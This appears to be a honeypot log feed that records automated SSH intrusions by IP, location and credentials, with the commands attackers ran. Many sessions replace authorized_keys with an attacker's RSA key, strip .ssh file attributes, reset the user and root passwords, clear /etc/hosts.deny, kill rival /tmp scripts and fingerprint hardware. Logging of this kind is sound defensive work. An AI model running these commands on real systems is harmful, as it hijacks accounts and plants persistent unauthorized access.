
$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "deploy\nwtyk1HynFfHf\nwtyk1HynFfHf"|passwd|bash

$ Enter new UNIX password:

$ echo "deploy\nwtyk1HynFfHf\nwtyk1HynFfHf\n"|passwd

🎭 scrappy_frost_root (176.211.42.202) — Vladivostok, Russia · 2 sessions · 39 cmds

2026-06-17 20:02 EDT · as deploy/deploy, root/root

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo "root:aW24Xm8SO57Q"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "deploy\n1CFgAWKTru3L\n1CFgAWKTru3L"|passwd|bash

$ Enter new UNIX password:

$ echo "deploy\n1CFgAWKTru3L\n1CFgAWKTru3L\n"|passwd

🎭 drowsy_dimsum_root (152.32.129.236) — Hong Kong, Hong Kong · 1 session · 2 cmds

2026-06-17 09:59 EDT · as oracle/changeme

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 midnight_tea_root (209.97.183.43) — Slough, United Kingdom · 25 sessions · 25 cmds

2026-06-15 12:09 EDT · as deploy/deploy, mysql/mysql, oracle/0r4cl3

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×25

🎭 molten_durian_root_73 (101.47.27.73) — Singapore, Singapore · 1 session · 2 cmds

2026-06-17 09:19 EDT · as oracle/changeme

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 listless_bibimbap_root (1.238.106.229) — Suwon, South Korea · 1 session · 2 cmds

2026-06-17 08:55 EDT · as oracle/changeme

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 venomous_orchid_pi (47.84.105.173) — Singapore, Singapore · 1 session · 1 cmd

2026-06-17 08:27 EDT · as pi/pi

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 cryptic_jade_root (103.44.237.71) — Guangzhou, China · 1 session · 20 cmds

2026-06-17 07:59 EDT · as deploy/deploy123

cd ~; chattr -ia .ssh → rm -rf .ssh → mkdir .ssh → echo "ssh-rsa" → cat /proc/cpuinfo | grep name | wc -l → echo -e "deploy123\neGgfGzzQCyVk\neGgfGzzQCyVk"|passwd|bash → Enter new UNIX password: → echo "deploy

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "deploy123\neGgfGzzQCyVk\neGgfGzzQCyVk"|passwd|bash

$ Enter new UNIX password:

$ echo "deploy123\neGgfGzzQCyVk\neGgfGzzQCyVk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 clandestine_orchid_root_33 (8.222.210.33) — Singapore, Singapore · 1 session · 1 cmd

2026-06-17 07:45 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 midnight_eagle_root_67 (47.77.180.67) — Minkler, United States · 1 session · 1 cmd

2026-06-17 07:26 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 hollow_tiger_db (4.240.8.92) — Pune, India · 2 sessions · 2 cmds

2026-05-16 09:06 EDT · as oracle/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 listless_jade_root (121.196.156.122) — Hangzhou, China · 1 session · 1 cmd

2026-06-17 03:57 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 derelict_panda_root (183.224.219.194) — Guangzhou, China · 1 session · 1 cmd

2026-06-17 01:04 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 venomous_yankee_root_114 (47.251.12.114) — Santa Clara, United States · 1 session · 1 cmd

2026-06-17 00:56 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 nocturnal_dragon_root_222 (39.105.12.222) — Beijing, China · 1 session · 1 cmd

2026-06-17 00:46 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 jittery_wok_root_43 (14.29.248.43) — Shenzhen, China · 1 session · 1 cmd

2026-06-16 21:26 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 velvet_cactus_root (186.96.158.180) — Mexico City, Mexico · 1 session · 20 cmds

2026-06-16 20:05 EDT · as postgres/postgres

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" → cat /proc/cpuinfo | grep name | wc

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "postgres\n5BcmFD3jm6pa\n5BcmFD3jm6pa"|passwd|bash

$ Enter new UNIX password:

$ echo "postgres\n5BcmFD3jm6pa\n5BcmFD3jm6pa\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 brazen_strudel_root (164.92.140.160) — Frankfurt am Main, Germany · 1 session · 20 cmds

2026-06-16 20:01 EDT · as postgres/postgres

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa" payload injection → cat /proc/cpuinfo | grep name | wc -l → echo "postgres\nANA96l2iv8HD"|passwd|bash → Enter new UNIX password: prompt → echo "postgres\n

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "postgres\nANA96l2iv8HD\nANA96l2iv8HD"|passwd|bash

$ Enter new UNIX password:

$ echo "postgres\nANA96l2iv8HD\nANA96l2iv8HD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 crimson_spice_root (205.254.166.83) — Bengaluru, India · 1 session · 20 cmds

2026-06-16 19:10 EDT · as oracle/Password

cd ~; chattr -ia .ssh → rm -rf .ssh → mkdir .ssh → echo "ssh-rsa..." → cat /proc/cpuinfo | grep name | wc -l → echo "Password\naywXMs7ubggu\naywXMs7ubggu"|passwd|bash → Enter new UNIX password: → echo "Password\naywXMs

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "Password\naywXMs7ubggu\naywXMs7ubggu"|passwd|bash

$ Enter new UNIX password:

$ echo "Password\naywXMs7ubggu\naywXMs7ubggu\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sneaky_junk_root (40.81.31.179) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-16 18:52 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 velvet_dragon_root (221.207.55.165) — Xining, China · 1 session · 1 cmd

2026-06-16 18:43 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 brazen_monsoon_root (20.219.193.93) — Pune, India · 1 session · 1 cmd

2026-06-16 18:17 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 manic_toque_root (57.134.215.133) — Chatham, Canada · 1 session · 20 cmds

2026-06-16 14:47 EDT · as user/password

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nBwkWZceWBW87\nBwkWZceWBW87"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nBwkWZceWBW87\nBwkWZceWBW87\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 weary_bistro_root (158.220.125.127) — Lauterbourg, France · 1 session · 20 cmds

2026-06-16 14:40 EDT · as user/password

cd ~ && rm -rf .ssh && mkdir .ssh → chattr -ia .ssh → passwd brute-force loop with hardcoded credentials → cat /proc/cpuinfo | grep model/name → free -m | grep Mem → uname -m → top → crontab -l → w

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nOSBI86y6TnIO\nOSBI86y6TnIO"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nOSBI86y6TnIO\nOSBI86y6TnIO\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cryptic_nomad_root (91.92.40.171) — Varna, Bulgaria · 31 sessions · 31 cmds

2026-06-16 09:38 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 manic_lantern_root (117.50.130.149) — Beijing, China · 10 sessions · 10 cmds

2026-06-16 00:33 EDT · as admin/123456, oracle/123456, oracle/oracle

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×10

🎭 frantic_jade (39.105.85.43) — Beijing, China · 1 session · 1 cmd

2026-06-16 07:33 EDT · as test/test

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 feral_meatball_root (16.171.114.17) — Stockholm, Sweden · 32 sessions · 32 cmds

2026-06-16 04:47 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 savage_seoul_root (112.167.99.220) — Jeongseon-gun, South Korea · 1 session · 9 cmds

2026-06-16 05:28 EDT · as root/root

root/root login → /ip cloud print → ifconfig → uname -a → cat /proc/cpuinfo → ps | grep '[Mm]iner' → ps -ef | grep '[Mm]iner' → locate D877F783D5D3EF8Cs → echo Hi | cat -n

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 manic_chai_sol (103.64.129.98) — Bengaluru, India · 1 session · 1 cmd

2026-06-16 03:34 EDT · as root/pass123

echo

$ echo -e "\x6F\x6B"

🎭 zealous_cipher_root (91.92.40.36) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-16 01:27 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 lurking_dragon_root_123 (124.221.11.123) — Shanghai, China · 1 session · 1 cmd

2026-06-15 21:33 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 zealous_lantern_root_233 (47.114.107.233) — Hangzhou, China · 1 session · 1 cmd

2026-06-15 19:56 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 ironclad_gaucho_root (186.123.101.50) — Avellaneda, Argentina · 1 session · 20 cmds

2026-06-15 18:26 EDT · as oracle/welcome123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "welcome123\n0t4WX4QUFokv\n0t4WX4QUFokv"|passwd|bash

$ Enter new UNIX password:

$ echo "welcome123\n0t4WX4QUFokv\n0t4WX4QUFokv\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 velvet_liberty_root (76.127.61.251) — Santa Fe, United States · 1 session · 2 cmds

2026-06-15 17:22 EDT · as oracle/welcome123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 brisk_dragon_root (114.254.1.141) — Beijing, China · 1 session · 2 cmds

2026-06-15 17:01 EDT · as oracle/welcome123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 baroque_lantern_root (39.97.53.147) — Beijing, China · 1 session · 1 cmd

2026-06-15 16:58 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 vapor_cipher_sol (91.92.40.27) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-15 15:07 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 rogue_dutch_root (45.153.34.235) — Eygelshoven, The Netherlands · 74 sessions · 74 cmds

2026-05-17 03:02 EDT · as admin/123456, admin/admin123, admin/password

